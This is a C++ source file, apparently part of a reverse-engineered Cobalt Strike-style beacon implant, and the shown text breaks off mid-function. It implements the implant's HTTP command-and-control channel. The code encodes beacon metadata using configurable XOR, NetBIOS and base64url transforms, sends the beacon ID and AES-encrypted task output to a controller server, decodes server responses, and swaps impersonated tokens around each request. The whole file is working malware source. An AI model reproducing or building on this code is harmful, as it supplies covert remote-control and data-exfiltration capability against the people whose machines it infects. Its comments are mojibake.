1001 lines
25 KiB
C++
1001 lines
25 KiB
C++
/*
|
||
beacon httpͨÐÅ
|
||
*/
|
||
#include "comm.h"
|
||
#include "common.h"
|
||
#include "tomcrypt.h"
|
||
#include "encrypt_decrypt.h"
|
||
|
||
void BeaconHttpRequestInit(int buffer_size, BeaconHttpRequest* beaconhttprequest)
|
||
{
|
||
beaconhttprequest->encrypt_Metadata_size = 3 * buffer_size;
|
||
if (3 * buffer_size < 8192)
|
||
{
|
||
beaconhttprequest->encrypt_Metadata_size = 8192;
|
||
}
|
||
datap* pdatap = BeaconDataInit(3 * (beaconhttprequest->encrypt_Metadata_size + 1024));
|
||
beaconhttprequest->pdatap = pdatap;
|
||
beaconhttprequest->HttpOptionalLength = 0;
|
||
|
||
char* HttpHeaders = BeaconDataPtr(pdatap, 1024);
|
||
beaconhttprequest->httpHeaders = HttpHeaders;
|
||
|
||
char* field_1 = BeaconDataPtr(pdatap, 1024);
|
||
beaconhttprequest->field_1 = field_1;
|
||
|
||
char* httpGetUrl = BeaconDataPtr(pdatap, 1024);
|
||
beaconhttprequest->httpGetUrl = httpGetUrl;
|
||
|
||
char* HttpOptional = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size);
|
||
beaconhttprequest->HttpOptional = HttpOptional;
|
||
|
||
|
||
char* encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size);
|
||
beaconhttprequest->encrypt_Metadata_Ptr = encrypt_Metadata_Ptr;
|
||
|
||
char* Encoding_Encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size);
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr = Encoding_Encrypt_Metadata_Ptr;
|
||
}
|
||
|
||
void BeaconHttpRequestFree(BeaconHttpRequest* beaconhttprequest)
|
||
{
|
||
BeaconDataFree(beaconhttprequest->pdatap);
|
||
}
|
||
|
||
|
||
static const char* const codes_base64url = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
|
||
|
||
static int _base64_encode_internal(const unsigned char* in, unsigned long inlen,
|
||
unsigned char* out, unsigned long* outlen,
|
||
const char* codes, int pad)
|
||
{
|
||
unsigned long i, len2, leven;
|
||
unsigned char* p;
|
||
|
||
/* valid output size ? */
|
||
len2 = 4 * ((inlen + 2) / 3);
|
||
if (*outlen < len2 + 1) {
|
||
*outlen = len2 + 1;
|
||
return CRYPT_BUFFER_OVERFLOW;
|
||
}
|
||
p = out;
|
||
leven = 3 * (inlen / 3);
|
||
for (i = 0; i < leven; i += 3) {
|
||
*p++ = codes[(in[0] >> 2) & 0x3F];
|
||
*p++ = codes[(((in[0] & 3) << 4) + (in[1] >> 4)) & 0x3F];
|
||
*p++ = codes[(((in[1] & 0xf) << 2) + (in[2] >> 6)) & 0x3F];
|
||
*p++ = codes[in[2] & 0x3F];
|
||
in += 3;
|
||
}
|
||
/* Pad it if necessary... */
|
||
if (i < inlen) {
|
||
unsigned a = in[0];
|
||
unsigned b = (i + 1 < inlen) ? in[1] : 0;
|
||
|
||
*p++ = codes[(a >> 2) & 0x3F];
|
||
*p++ = codes[(((a & 3) << 4) + (b >> 4)) & 0x3F];
|
||
if (pad) {
|
||
*p++ = (i + 1 < inlen) ? codes[(((b & 0xf) << 2)) & 0x3F] : '=';
|
||
*p++ = '=';
|
||
}
|
||
else {
|
||
if (i + 1 < inlen) *p++ = codes[(((b & 0xf) << 2)) & 0x3F];
|
||
}
|
||
}
|
||
|
||
/* append a NULL byte */
|
||
*p = '\0';
|
||
|
||
/* return ok */
|
||
*outlen = (unsigned long)(p - out);
|
||
return CRYPT_OK;
|
||
}
|
||
|
||
int base64url_encode(char* in, unsigned long inlen,
|
||
unsigned char* out, unsigned long* outlen)
|
||
{
|
||
return _base64_encode_internal((const unsigned char*)in, inlen, out, outlen, codes_base64url, 0);
|
||
}
|
||
int NetBIOS_Encode(char* out, char key, char* in, int a4, int in_size)
|
||
{
|
||
int v5;
|
||
unsigned __int8 v7;
|
||
int i;
|
||
v5 = 0;
|
||
for (i = 0; v5 < a4; i += 2)
|
||
{
|
||
if (i >= in_size)
|
||
{
|
||
break;
|
||
}
|
||
v7 = in[v5];
|
||
out[i] = key + (v7 >> 4);
|
||
out[i + 1] = key + (v7 & 0xF);
|
||
++v5;
|
||
}
|
||
return i;//·µ»Ø³¤¶È
|
||
}
|
||
|
||
|
||
/// <summary>
|
||
/// xor±àÂëÊý¾Ý
|
||
/// </summary>
|
||
/// <param name="a1"></param>
|
||
/// <param name="a3"></param>
|
||
/// <param name="a4"></param>
|
||
/// <param name="a5"></param>
|
||
/// <returns></returns>
|
||
unsigned int xor_encode(char* a1, unsigned int a3, char* a4, unsigned int a5)
|
||
{
|
||
unsigned int v4;
|
||
char* v5;
|
||
char* v7;
|
||
unsigned int v8;
|
||
char* v9;
|
||
char v10;
|
||
|
||
v4 = a3 + 4;
|
||
v5 = a1;
|
||
if (a3 + 4 > a5)
|
||
{
|
||
return 0;
|
||
}
|
||
*(DWORD*)a1 = random_int();
|
||
v7 = v5 + 4;
|
||
v8 = 0;
|
||
if (!a3)
|
||
{
|
||
return v4;
|
||
}
|
||
do
|
||
{
|
||
v9 = &v7[v8];
|
||
v10 = a4[v8] ^ a1[v8 & 3];
|
||
++v8;
|
||
*v9 = v10;
|
||
} while (v8 < a3);
|
||
return a3 + 4;
|
||
}
|
||
|
||
unsigned int xor_decode(int insize, char* in, char* out, unsigned int size)
|
||
{
|
||
unsigned int v7;
|
||
unsigned int v8;
|
||
int v9;
|
||
char* v10;
|
||
char v11;
|
||
|
||
if (insize - 4 > size)
|
||
{
|
||
return 0;
|
||
}
|
||
v7 = insize - 4;
|
||
v8 = 0;
|
||
if (!v7)
|
||
{
|
||
return v7;
|
||
}
|
||
v9 = in + 4 - out;
|
||
do
|
||
{
|
||
v10 = &out[v8];
|
||
v11 = out[v8 + v9] ^ in[v8 & 3];
|
||
++v8;
|
||
*v10 = v11;
|
||
} while (v8 < v7);
|
||
return v7;
|
||
}
|
||
|
||
int NetBIOS_decode(char* a1, char a2, int size, char* a4, int a5)
|
||
{
|
||
int v7;
|
||
char v8;
|
||
|
||
if (size % 2 == 1)
|
||
{
|
||
return 0;
|
||
}
|
||
for (int i = 0; i < size; a4[v7] = v8)
|
||
{
|
||
v7 = i / 2;
|
||
if (i / 2 >= a5)
|
||
{
|
||
break;
|
||
}
|
||
v8 = a1[i + 1] + 16 * a1[i] - 17 * a2;
|
||
i += 2;
|
||
}
|
||
return size / 2;
|
||
}
|
||
|
||
|
||
int base64url_decode(unsigned int inlen, char* in, unsigned int a3, char* out, DWORD* outlen)
|
||
{
|
||
unsigned int i;
|
||
char v6;
|
||
|
||
for (i = 0; i < inlen; ++i)
|
||
{
|
||
v6 = in[i];
|
||
if (v6 == 95)
|
||
{
|
||
in[i] = 47;
|
||
}
|
||
else if (v6 == 45)
|
||
{
|
||
in[i] = 43;
|
||
}
|
||
}
|
||
while (1)
|
||
{
|
||
if ((inlen & 3) == 0)
|
||
return base64_decode((const unsigned char*)in, inlen, (unsigned char*)out, outlen);
|
||
if (inlen > a3)
|
||
break;
|
||
in[inlen++] = 61;
|
||
}
|
||
return 6;
|
||
}
|
||
|
||
/// <summary>
|
||
/// ¶ÔhttpÇëÇ󷵻صÄÊý¾Ý½øÐнâÂë
|
||
/// </summary>
|
||
/// <param name="Output_Buffer">ÇëÇó·µ»Øbuffer</param>
|
||
/// <param name="Buffer_size">buffer´óС</param>
|
||
/// <param name="server_output_config">Êä³öÅäÖÃ</param>
|
||
/// <param name="server_output_size"></param>
|
||
/// <returns></returns>
|
||
int decode_metadata(char* Output_Buffer, size_t Buffer_size, char* server_output_config, int server_output_size)
|
||
{
|
||
int data_size = Buffer_size;
|
||
char* Decode_Buffer = (char*)malloc(Buffer_size);
|
||
memset(Decode_Buffer, 0, Buffer_size);
|
||
if (!Decode_Buffer)
|
||
{
|
||
return 0;
|
||
}
|
||
datap pdata;
|
||
BeaconDataParse(&pdata, server_output_config, 1024);
|
||
int append_size = 0;
|
||
int prepend_size = 0;
|
||
|
||
while (true)
|
||
{
|
||
int index = BeaconDataInt(&pdata);
|
||
switch (index)
|
||
{
|
||
case 0:
|
||
{
|
||
free(Decode_Buffer);
|
||
return data_size;
|
||
}
|
||
case 1://append ĩβ¸½¼Ó
|
||
{
|
||
|
||
data_size -= BeaconDataInt(&pdata);
|
||
continue;
|
||
}
|
||
|
||
case 2://prepend ½«Ö¸¶¨×Ö·û´®¸½¼ÓÔÚÍ·²¿
|
||
{
|
||
prepend_size = BeaconDataInt(&pdata);
|
||
if (prepend_size > data_size)
|
||
{
|
||
data_size = 0;
|
||
free(Decode_Buffer);
|
||
return data_size;
|
||
}
|
||
memcpy(Decode_Buffer, Output_Buffer, data_size);
|
||
data_size -= prepend_size;
|
||
memcpy(Output_Buffer, &Decode_Buffer[prepend_size], data_size);
|
||
continue;
|
||
}
|
||
|
||
case 3://BASE64
|
||
{
|
||
Output_Buffer[data_size] = 0;
|
||
unsigned long out_size = server_output_size;
|
||
// base½âÃÜ
|
||
if (base64_decode((const unsigned char*)Output_Buffer, data_size, (unsigned char*)Decode_Buffer, &out_size))
|
||
{
|
||
data_size = 0;
|
||
free(Decode_Buffer);
|
||
return data_size;
|
||
}
|
||
data_size = out_size;
|
||
memcpy(Output_Buffer, Decode_Buffer, out_size);
|
||
continue;
|
||
}
|
||
|
||
case 4://print ʲô¶¼²»×ö
|
||
|
||
continue;
|
||
case 5:
|
||
continue;
|
||
case 6:
|
||
continue;
|
||
case 7:
|
||
continue;
|
||
case 8://netbios
|
||
{
|
||
Output_Buffer[data_size] = 0;
|
||
int out_size = NetBIOS_decode(Output_Buffer, 'a', data_size, Decode_Buffer, server_output_size);
|
||
data_size = out_size;
|
||
if (!out_size)
|
||
{
|
||
break;
|
||
}
|
||
memcpy(Output_Buffer, Decode_Buffer, out_size);
|
||
Output_Buffer[data_size] = 0;
|
||
continue;
|
||
}
|
||
|
||
case 9:
|
||
continue;
|
||
case 10:
|
||
continue;
|
||
case 11://netbiosu
|
||
{
|
||
Output_Buffer[data_size] = 0;
|
||
int out_size = NetBIOS_decode(Output_Buffer, 'A', data_size, Decode_Buffer, server_output_size);
|
||
data_size = out_size;
|
||
if (!out_size)
|
||
{
|
||
break;
|
||
}
|
||
memcpy(Output_Buffer, Decode_Buffer, out_size);
|
||
Output_Buffer[data_size] = 0;
|
||
continue;
|
||
}
|
||
|
||
case 12:
|
||
continue;
|
||
case 13://base64url
|
||
{
|
||
unsigned long out_size = server_output_size;
|
||
Output_Buffer[data_size] = 0;
|
||
if (base64url_decode(data_size, (char*)Output_Buffer, server_output_size, Decode_Buffer, &out_size))
|
||
{
|
||
data_size = 0;
|
||
free(Decode_Buffer);
|
||
return data_size;
|
||
}
|
||
data_size = out_size;
|
||
memcpy(Output_Buffer, Decode_Buffer, out_size);
|
||
continue;
|
||
}
|
||
|
||
case 14:
|
||
continue;
|
||
case 15://mask xor
|
||
{
|
||
Output_Buffer[data_size] = 0;
|
||
int out_size = xor_decode(data_size, Output_Buffer, Decode_Buffer, server_output_size);// xor
|
||
data_size = out_size;
|
||
if (!out_size)
|
||
{
|
||
break;
|
||
}
|
||
memcpy(Output_Buffer, Decode_Buffer, out_size);
|
||
Output_Buffer[data_size] = 0;
|
||
continue;
|
||
}
|
||
|
||
case 16:
|
||
continue;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/// <summary>
|
||
/// ¶ÔÐèÒª·¢Ë͵ÄÔªÊý¾Ý¸ù¾ÝhttpÇëÇóÅäÖýøÐиñʽ»¯
|
||
/// </summary>
|
||
/// <param name="http_get_client_config"></param>
|
||
/// <param name="beaconhttprequest"></param>
|
||
/// <param name="Encryption_Metadata"></param>
|
||
/// <param name="Encryption_Metadata_size"></param>
|
||
/// <param name="a5"></param>
|
||
/// <param name="a6"></param>
|
||
void encode_Metadata(char* http_get_client_config, BeaconHttpRequest* beaconhttprequest, char* Encryption_Metadata, int Encryption_Metadata_size, void* a5, size_t a6)
|
||
{
|
||
char Buffer[1024] = { 0 };
|
||
char* httpHeaderHost = get_str(54);
|
||
int Size = 0;
|
||
|
||
datap pdatap;
|
||
BeaconDataParse(&pdatap, http_get_client_config, 1024);
|
||
int v30 = 0;
|
||
while (2)
|
||
{
|
||
int index = BeaconDataInt(&pdatap);
|
||
switch (index)
|
||
{
|
||
case 0:
|
||
if ( v30 ||!httpHeaderHost)
|
||
{
|
||
return;
|
||
}
|
||
|
||
if (!strlen(httpHeaderHost))
|
||
{
|
||
return;
|
||
}
|
||
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
1024,
|
||
"%s%s\r\n",
|
||
beaconhttprequest->httpHeaders,
|
||
httpHeaderHost);
|
||
memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
return;
|
||
|
||
case 1:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
memcpy((char*)beaconhttprequest->encrypt_Metadata_Ptr + Size, Buffer, copy_size);
|
||
Size += &Buffer[strlen(Buffer) + 1] - &Buffer[1];
|
||
continue;
|
||
}
|
||
|
||
|
||
case 2:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Buffer, copy_size);
|
||
memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr + strlen(Buffer), beaconhttprequest->encrypt_Metadata_Ptr, Size);
|
||
Size += strlen(Buffer);
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 3:
|
||
{
|
||
unsigned long encrypt_Metadata_size = beaconhttprequest->encrypt_Metadata_size;
|
||
if (!base64_encode(
|
||
(unsigned char*)beaconhttprequest->encrypt_Metadata_Ptr,
|
||
Size,
|
||
(unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
&encrypt_Metadata_size))
|
||
{
|
||
Size = encrypt_Metadata_size;
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, encrypt_Metadata_size);
|
||
continue;
|
||
}
|
||
return;
|
||
}
|
||
|
||
case 4:
|
||
{
|
||
memcpy(beaconhttprequest->HttpOptional, beaconhttprequest->encrypt_Metadata_Ptr, Size);
|
||
beaconhttprequest->HttpOptionalLength = Size;
|
||
continue;
|
||
}
|
||
|
||
case 5:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
if (*beaconhttprequest->field_1)
|
||
{
|
||
_snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s=%s", beaconhttprequest->field_1, Buffer, beaconhttprequest->encrypt_Metadata_Ptr);
|
||
}
|
||
else
|
||
{
|
||
_snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s=%s", Buffer, beaconhttprequest->encrypt_Metadata_Ptr);
|
||
}
|
||
memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
continue;
|
||
}
|
||
|
||
case 6:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
1024,
|
||
"%s%s: %s\r\n",
|
||
beaconhttprequest->httpHeaders,
|
||
Buffer,
|
||
beaconhttprequest->encrypt_Metadata_Ptr);
|
||
memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 7:
|
||
{
|
||
int size = BeaconDataInt(&pdatap);
|
||
if (size)
|
||
{
|
||
if (size != 1)
|
||
{
|
||
continue;
|
||
}
|
||
Size = a6;
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, a5, a6);
|
||
}
|
||
else
|
||
{
|
||
Size = Encryption_Metadata_size;
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, Encryption_Metadata, Encryption_Metadata_size);
|
||
}
|
||
continue;
|
||
}
|
||
|
||
|
||
case 8:
|
||
{
|
||
int size = NetBIOS_Encode(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
'a',
|
||
beaconhttprequest->encrypt_Metadata_Ptr,
|
||
Size,
|
||
beaconhttprequest->encrypt_Metadata_size);
|
||
Size = size;
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 9:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
if (*beaconhttprequest->field_1)
|
||
{
|
||
_snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s", beaconhttprequest->field_1, Buffer);
|
||
}
|
||
else
|
||
{
|
||
_snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s", Buffer);
|
||
}
|
||
memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 10:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
1024,
|
||
"%s%s\r\n",
|
||
beaconhttprequest->httpHeaders,
|
||
Buffer);
|
||
memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 0x400u);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 11:
|
||
{
|
||
int size = NetBIOS_Encode(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
'A',
|
||
(char*)beaconhttprequest->encrypt_Metadata_Ptr,
|
||
Size,
|
||
beaconhttprequest->encrypt_Metadata_size);
|
||
Size = size;
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 12:
|
||
{
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
1024,
|
||
"%s%s",
|
||
beaconhttprequest->httpGetUrl,
|
||
beaconhttprequest->encrypt_Metadata_Ptr);
|
||
memcpy(beaconhttprequest->httpGetUrl, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
continue;
|
||
}
|
||
|
||
|
||
case 13:
|
||
{
|
||
unsigned long outsize = beaconhttprequest->encrypt_Metadata_size;
|
||
if (base64url_encode(beaconhttprequest->encrypt_Metadata_Ptr, Size, (unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, &outsize))
|
||
{
|
||
return;
|
||
}
|
||
Size = outsize;
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, outsize);
|
||
continue;
|
||
return;
|
||
}
|
||
|
||
case 15:
|
||
{
|
||
int outsize = xor_encode(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
Size,
|
||
beaconhttprequest->encrypt_Metadata_Ptr,
|
||
beaconhttprequest->encrypt_Metadata_size); // xor
|
||
Size = outsize;
|
||
memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size);
|
||
memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size);
|
||
continue;
|
||
}
|
||
|
||
case 16:
|
||
{
|
||
memset(Buffer, 0, sizeof(Buffer));
|
||
BeaconDataCopyToBuffer(&pdatap, Buffer, 1024);
|
||
if (httpHeaderHost && strlen(httpHeaderHost))
|
||
{
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
1024,
|
||
"%s%s\r\n",
|
||
beaconhttprequest->httpHeaders,
|
||
httpHeaderHost);
|
||
v30 = 1;
|
||
}
|
||
else
|
||
{
|
||
_snprintf(
|
||
beaconhttprequest->Encoding_Encrypt_Metadata_Ptr,
|
||
0x400u,
|
||
"%s%s\r\n",
|
||
beaconhttprequest->httpHeaders,
|
||
Buffer);
|
||
}
|
||
memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024);
|
||
continue;
|
||
}
|
||
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
int send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size)
|
||
{
|
||
CHAR szObjectName[1024] = { 0 };
|
||
BeaconHttpRequest beaconhttprequest = { 0 };
|
||
|
||
PCTSTR lpszAcceptTypes[] = { "*/*", NULL };
|
||
|
||
BeaconHttpRequestInit(g_Encryption_Metadata_size, &beaconhttprequest);
|
||
|
||
_snprintf((char*)beaconhttprequest.httpGetUrl, 1024, "%s", http_get_url);
|
||
|
||
char* http_get_client_config = get_str(12);//»ñÈ¡ÇëÇóÅäÖÃ
|
||
//¶Ô¼´½«·¢Ë͵ÄÊý¾Ý°´ÕÕÅäÖýøÐбàÂë×éºÏ
|
||
encode_Metadata(http_get_client_config, &beaconhttprequest, g_Encryption_Metadata, g_Encryption_Metadata_size, 0, 0);
|
||
|
||
if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1)
|
||
{
|
||
_snprintf(szObjectName, 1024, "%s", beaconhttprequest.httpGetUrl);
|
||
}
|
||
else
|
||
{
|
||
_snprintf(szObjectName, 1024, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1);
|
||
}
|
||
|
||
|
||
char* verb = get_str(26); //get or post
|
||
HINTERNET hRequest = HttpOpenRequestA(g_hConnect, verb, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext);
|
||
set_http_opt(hRequest);
|
||
|
||
//·¢ËÍÇëÇó
|
||
HttpSendRequestA(
|
||
hRequest,
|
||
beaconhttprequest.httpHeaders,
|
||
strlen(beaconhttprequest.httpHeaders),
|
||
beaconhttprequest.HttpOptional,
|
||
beaconhttprequest.HttpOptionalLength);
|
||
|
||
//ÊÍ·ÅÄÚ´æ
|
||
BeaconHttpRequestFree(&beaconhttprequest);
|
||
if (!verify_http_200(hRequest))
|
||
{
|
||
InternetCloseHandle(hRequest);
|
||
return -1;
|
||
}
|
||
DWORD dwNumberOfBytesAvailable=0;
|
||
DWORD dwNumberOfBytesRead = 0;
|
||
DWORD size = 0;
|
||
// µ÷ÓÃInternetQueryDataAvailable()²éѯ·µ»ØµÄÊý¾Ý´óС
|
||
if (InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0)
|
||
&& dwNumberOfBytesAvailable
|
||
&& dwNumberOfBytesAvailable < server_output_size)
|
||
{
|
||
if (!server_output_size)
|
||
{
|
||
InternetCloseHandle(hRequest);
|
||
return 0;
|
||
}
|
||
do
|
||
{
|
||
if (!InternetReadFile(hRequest, Server_Output_Buffer + size, 0x1000, &dwNumberOfBytesRead))
|
||
{
|
||
break;
|
||
}
|
||
if (!dwNumberOfBytesRead)
|
||
{
|
||
break;
|
||
}
|
||
size += dwNumberOfBytesRead;
|
||
|
||
} while (size < server_output_size);
|
||
if (size >= server_output_size)
|
||
{
|
||
InternetCloseHandle(hRequest);
|
||
return 0;
|
||
}
|
||
InternetCloseHandle(hRequest);
|
||
char* server_output_config = get_str(11); // .http-get.server.output
|
||
//¸ù¾ÝÅäÖýâÂë·þÎñ¶ËÊä³ö
|
||
int decode_size = decode_metadata((char*)Server_Output_Buffer, size, server_output_config, server_output_size);
|
||
return decode_size;
|
||
}
|
||
else
|
||
{
|
||
InternetCloseHandle(hRequest);
|
||
return 0;
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
/// <summary>
|
||
/// µ÷ÓÃsend_Metadata·¢ËÍÔªÊý¾Ý£¬·µ»Ø½ÓÊÕÊý¾Ý´óС
|
||
/// </summary>
|
||
/// <param name="http_get_url">httpÇëÇóurl</param>
|
||
/// <param name="Metadata"></param>
|
||
/// <param name="output_size"></param>
|
||
/// <returns></returns>
|
||
int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size)
|
||
{
|
||
close_token_fake();
|
||
int size = send_Metadata(http_get_url, Server_Output_Buffer, server_output_size);
|
||
restore_token_fake();
|
||
return size;
|
||
}
|
||
|
||
/// <summary>
|
||
/// ·¢ËÍbeacon ÈÎÎñÖ´Ðнá¹û
|
||
/// </summary>
|
||
/// <param name="data"></param>
|
||
/// <returns></returns>
|
||
void sned_beacon_data(char *data)
|
||
{
|
||
CHAR szObjectName[1024] = { 0 };
|
||
BeaconHttpRequest beaconhttprequest = { 0 };
|
||
|
||
PCTSTR lpszAcceptTypes[] = { "*/*", NULL };
|
||
char DataBuffer[128] = { 0 };
|
||
if (g_withdatasize)
|
||
{
|
||
BeaconHttpRequestInit(g_withdatasize, &beaconhttprequest);
|
||
_snprintf(beaconhttprequest.httpGetUrl, 1024, "%s", g_post_url);
|
||
_snprintf(DataBuffer, 0x80u, "%d", beacon_id);
|
||
int DataBuffer_size = strlen(DataBuffer);
|
||
char* http_post_client_config = get_str(13); // .http-post.client
|
||
encode_Metadata(http_post_client_config, &beaconhttprequest, DataBuffer, DataBuffer_size, data, g_withdatasize);
|
||
|
||
if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1)
|
||
{
|
||
_snprintf(szObjectName, 0x400u, "%s", beaconhttprequest.httpGetUrl);
|
||
}
|
||
else
|
||
{
|
||
_snprintf(szObjectName, 0x400u, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1);
|
||
}
|
||
|
||
close_token_fake();
|
||
|
||
int beacon_request_error = 0;
|
||
HINTERNET hRequest;
|
||
while (true)
|
||
{
|
||
char* str = get_str(27);
|
||
hRequest = HttpOpenRequestA(g_hConnect, str, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext);
|
||
set_http_opt(hRequest);
|
||
|
||
HttpSendRequestA(
|
||
hRequest,
|
||
beaconhttprequest.httpHeaders,
|
||
strlen(beaconhttprequest.httpHeaders),
|
||
beaconhttprequest.HttpOptional,
|
||
beaconhttprequest.HttpOptionalLength);
|
||
|
||
if (verify_http_200(hRequest))
|
||
{
|
||
break;
|
||
}
|
||
InternetCloseHandle(hRequest);
|
||
Sleep(500);
|
||
if (++beacon_request_error >= 4)
|
||
{
|
||
BeaconHttpRequestFree(&beaconhttprequest);
|
||
g_withdatasize = 0;
|
||
restore_token_fake();
|
||
return;
|
||
}
|
||
}
|
||
|
||
InternetCloseHandle(hRequest);
|
||
BeaconHttpRequestFree(&beaconhttprequest);
|
||
g_withdatasize = 0;
|
||
restore_token_fake();
|
||
|
||
}
|
||
}
|
||
char* gBeaconOutputData;
|
||
void sub_10002340(int encrypt_data_len, char* encrypt_data, int delay)
|
||
{
|
||
if (!gBeaconOutputData)
|
||
{
|
||
gBeaconOutputData = (char*)malloc(0x200000);
|
||
}
|
||
|
||
if (encrypt_data_len + 4 <= 0x200000)
|
||
{
|
||
if (g_withdatasize + encrypt_data_len + 4 > 0x200000)
|
||
{
|
||
sned_beacon_data(gBeaconOutputData);
|
||
}
|
||
*(int*)&gBeaconOutputData[g_withdatasize] = htonl(encrypt_data_len);
|
||
memcpy(&gBeaconOutputData[g_withdatasize + 4], encrypt_data, encrypt_data_len);// ×é×°·¢ËÍÊý¾ÝµÚÒ»¸öintΪ¼ÓÃÜÊý¾ÝµÄ´óСºó¸½¼Ó¼ÓÃÜÊý¾Ý
|
||
g_withdatasize = encrypt_data_len + g_withdatasize + 4; // дóСµÈÓÚ¼ÓÃÜÊý¾Ý+4×Ö½ÚµÄint£¨´ËintÊǼÓÃÜÊý¾ÝµÄ³¤¶È£©
|
||
if (delay)
|
||
{
|
||
sned_beacon_data(gBeaconOutputData);
|
||
}
|
||
}
|
||
}
|
||
|
||
void sub_10001287(void* data, size_t data_size, int type, int delay)
|
||
{
|
||
int out_encrypt_data_len = 0;
|
||
// ¶Ôdata aes¼ÓÃܺÍHmacÕªÒª
|
||
char* encrypt_data = aes_encrypt_data(data, data_size, type, &out_encrypt_data_len);
|
||
if (out_encrypt_data_len)
|
||
{
|
||
